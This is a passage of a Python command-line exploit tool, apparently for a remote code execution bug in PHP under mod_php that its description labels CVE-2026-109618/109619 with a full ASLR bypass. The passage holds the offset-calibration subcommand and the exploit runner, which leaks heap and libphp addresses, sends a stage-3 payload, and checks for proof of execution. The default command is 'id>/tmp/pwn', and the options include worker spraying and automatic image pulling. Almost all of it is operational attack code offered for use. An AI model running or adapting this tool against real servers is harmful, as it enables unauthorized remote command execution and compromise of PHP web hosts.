|
# Calibrate subcommand: extract + print offsets for a new target
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def cmd_calibrate(args) -> int:
|
|
"""Extract offsets from a Docker image or container and print them."""
|
|
if args.docker_container:
|
|
print(f"Extracting from container {args.docker_container!r}...")
|
|
o = offsets_from_container(args.docker_container)
|
|
elif args.docker_image:
|
|
print(f"Extracting from image {args.docker_image!r}...")
|
|
o = offsets_from_docker_image(args.docker_image)
|
|
else:
|
|
print("need --docker-container or --docker-image", file=sys.stderr)
|
|
return 1
|
|
|
|
zif = o.get("ZIF_OFFSET", 0)
|
|
dtor = o.get("DTOR_OFFSET", 0)
|
|
if not zif or not dtor:
|
|
print("extraction failed", file=sys.stderr)
|
|
return 1
|
|
|
|
print(f"ZIF_OFFSET=0x{zif:x}")
|
|
print(f"DTOR_OFFSET=0x{dtor:x}")
|
|
print()
|
|
print("Add to OFFSET_DB in rce_exploit.py:")
|
|
ver = args.php_version or "X.Y.Z"
|
|
dist = args.distro or "bookworm"
|
|
print(f' ("{ver}", "{dist}"): {{')
|
|
print(f' "ZIF_OFFSET": 0x{zif:x},')
|
|
print(f' "DTOR_OFFSET": 0x{dtor:x},')
|
|
print(f' "HTDATA_OFFSET": 0x690D8, # calibrate with heap inspection')
|
|
print(f' "profile": "{dist}",')
|
|
print(f" }},")
|
|
|
|
if args.save:
|
|
with open(args.save, "w") as f:
|
|
f.write(f"ZIF_OFFSET=0x{zif:x}\n")
|
|
f.write(f"DTOR_OFFSET=0x{dtor:x}\n")
|
|
print(f"\nSaved to {args.save}")
|
|
return 0
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Main exploit runner
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def cmd_exploit(args) -> int:
|
|
if len(args.cmd.encode()) > MAX_CMD:
|
|
print(f"--cmd limited to {MAX_CMD} bytes", file=sys.stderr)
|
|
return 1
|
|
|
|
verbose = not args.quiet
|
|
zif, dtor, htdata, profile = resolve_offsets(args, verbose=verbose)
|
|
|
|
if args.profile and args.profile != profile:
|
|
profile = args.profile
|
|
|
|
t = Target(args.url, timeout=args.timeout, verbose=verbose)
|
|
ex = Exploit(t, args.cmd, profile=profile,
|
|
zif_offset=zif, dtor_offset=dtor,
|
|
htdata_offset=htdata, huge_mb=args.huge_mb,
|
|
workers=args.workers)
|
|
|
|
t.log(f"[*] target {args.url} (profile={profile}, cmd={args.cmd!r})")
|
|
t.log(f"[*] offsets: zif=0x{zif:x} dtor=0x{dtor:x} htdata=0x{ex.htdata_offset:x}")
|
|
if ex.workers > 1:
|
|
t.log(f"[*] spray mode: {ex.workers} workers")
|
|
|
|
if ex.workers == 1:
|
|
ex.rotate()
|
|
|
|
single = ex.workers == 1
|
|
|
|
chunk = 0
|
|
for attempt in range(1, args.retries + 1):
|
|
t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
|
|
chunk = ex.stage1()
|
|
if chunk:
|
|
t.log(f"[+] chunk base = 0x{chunk:x}")
|
|
break
|
|
t.log("[-] heap leak missed")
|
|
if single:
|
|
ex.rotate()
|
|
if not chunk:
|
|
print("HEAP_LEAK_FAILED", file=sys.stderr)
|
|
return 1
|
|
if single:
|
|
ex.rotate()
|
|
|
|
libphp = 0
|
|
for attempt in range(1, args.retries + 1):
|
|
t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
|
|
libphp = ex.stage2()
|
|
if libphp:
|
|
t.log(f"[+] libphp base = 0x{libphp:x}")
|
|
break
|
|
t.log("[-] libphp leak missed")
|
|
if single:
|
|
ex.rotate()
|
|
if not libphp:
|
|
print("LIBPHP_LEAK_FAILED", file=sys.stderr)
|
|
return 1
|
|
if single:
|
|
ex.rotate()
|
|
|
|
htdata_addr = chunk + ex.htdata_offset
|
|
zif_addr = libphp + zif
|
|
t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
|
|
|
|
if args.proof_file:
|
|
try:
|
|
if os.path.exists(args.proof_file):
|
|
os.unlink(args.proof_file)
|
|
except OSError:
|
|
pass
|
|
|
|
has_proof_check = bool(args.proof_file or args.fetch or args.docker_proof)
|
|
|
|
def check_proof() -> str:
|
|
if args.proof_file:
|
|
try:
|
|
if os.path.exists(args.proof_file):
|
|
with open(args.proof_file, "rb") as f:
|
|
return f.read().decode("latin-1").strip()
|
|
except OSError:
|
|
pass
|
|
if args.fetch:
|
|
status, body = t.get(args.fetch)
|
|
if status == 200 and body.strip():
|
|
return body.decode("latin-1").strip()
|
|
if args.docker_proof:
|
|
container, path = args.docker_proof
|
|
try:
|
|
r = subprocess.run(
|
|
["docker", "exec", container, "cat", path],
|
|
capture_output=True, timeout=10,
|
|
)
|
|
if r.returncode == 0 and r.stdout.strip():
|
|
return r.stdout.decode("latin-1").strip()
|
|
except (OSError, subprocess.SubprocessError):
|
|
pass
|
|
return ""
|
|
|
|
proof = ""
|
|
for attempt in range(1, args.retries + 3):
|
|
try:
|
|
ex.stage3(htdata_addr, zif_addr)
|
|
except OSError as e:
|
|
t.log(f"[-] request error: {e}")
|
|
time.sleep(0.8)
|
|
|
|
if has_proof_check:
|
|
proof = check_proof()
|
|
if proof:
|
|
t.log(f"[+] RCE confirmed (stage 3 attempt {attempt})")
|
|
print(f"PROOF: {proof}")
|
|
return 0
|
|
t.log(f"[-] stage 3 attempt {attempt} (no proof yet)")
|
|
else:
|
|
t.log(f"[+] stage 3 payload sent (attempt {attempt})")
|
|
t.log("[*] no proof mechanism configured; command may have executed")
|
|
t.log(" use --fetch, --proof-file, or --docker-proof to verify")
|
|
return 0
|
|
if single:
|
|
ex.rotate()
|
|
|
|
print("EXPLOIT_FAILED (command may have executed without proof)",
|
|
file=sys.stderr)
|
|
return 1
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# CLI
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def main() -> int:
|
|
top = argparse.ArgumentParser(
|
|
description="CVE-2026-109618/109619 RCE: PHP mod_php, full ASLR bypass",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
epilog="""\
|
|
Auto-detect mode (fingerprint target, look up offsets from built-in DB):
|
|
%(prog)s -u http://target:8089/index.php
|
|
|
|
Auto-pull mode (pull matching Docker image if not in DB):
|
|
%(prog)s -u http://target:8089/index.php --auto-pull
|
|
|
|
Extract offsets from a running container:
|
|
%(prog)s -u http://target:8089/ --docker-container myphp
|
|
|
|
Calibrate: extract offsets for a new PHP build:
|
|
%(prog)s calibrate --docker-image php:8.3.35-apache --php-version 8.3.35
|
|
""")
|
|
|
|
sub = top.add_subparsers(dest="subcommand")
|
|
|
|
# calibrate subcommand
|
|
cal = sub.add_parser("calibrate", help="extract offsets from Docker image/container")
|
|
cal.add_argument("--docker-image", default="", help="Docker image to extract from")
|
|
cal.add_argument("--docker-container", default="", help="running container name")
|
|
cal.add_argument("--php-version", default="", help="version string for DB entry")
|
|
cal.add_argument("--distro", default="bookworm")
|
|
cal.add_argument("--save", default="", help="save offsets.env to this path")
|
|
|
|
# exploit (default)
|
|
top.add_argument("-u", "--url", default="", help="target PHP URL")
|
|
top.add_argument("-c", "--cmd", default="id>/tmp/pwn",
|
|
help=f"command (max {MAX_CMD} bytes)")
|
|
top.add_argument("--proof-file", default="",
|
|
help="local file to check for proof of execution")
|
|
top.add_argument("--fetch", default="",
|
|
help="GET this path after stage 3 for remote proof")
|
|
top.add_argument("--profile", choices=sorted(PROFILES), default=None,
|
|
help="heap profile override (auto-detected by default)")
|
|
top.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None)
|
|
top.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None)
|
|
top.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None)
|
|
top.add_argument("--offsets-file", default="",
|
|
help="read ZIF_OFFSET/DTOR_OFFSET from file")
|
|
top.add_argument("--docker-container", default="",
|
|
help="extract offsets from this running container")
|
|
top.add_argument("--auto-pull", action="store_true",
|
|
help="pull matching Docker image if version not in DB")
|
|
top.add_argument("--docker-proof", nargs=2, metavar=("CONTAINER", "PATH"),
|
|
default=None,
|
|
help="verify RCE via docker exec CONTAINER cat PATH")
|
|
top.add_argument("--workers", type=int, default=1,
|
|
help="number of Apache workers to spray (default 1)")
|
|
top.add_argument("--huge-mb", type=int, default=12)
|
|
top.add_argument("--timeout", type=float, default=30.0)
|
|
top.add_argument("--retries", type=int, default=5)
|
|
top.add_argument("-q", "--quiet", action="store_true")
|
|
args = top.parse_args()
|
|
|
|
if args.subcommand == "calibrate":
|
|
return cmd_calibrate(args)
|
|
|
|
if not args.url:
|
|
top.error("-u/--url is required")
|
|
|
|
if args.profile is None:
|
|
args.profile = "bookworm"
|
|
|
|
return cmd_exploit(args)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
sys.exit(main())
|
|
except KeyboardInterrupt:
|
|
sys.exit(130)
|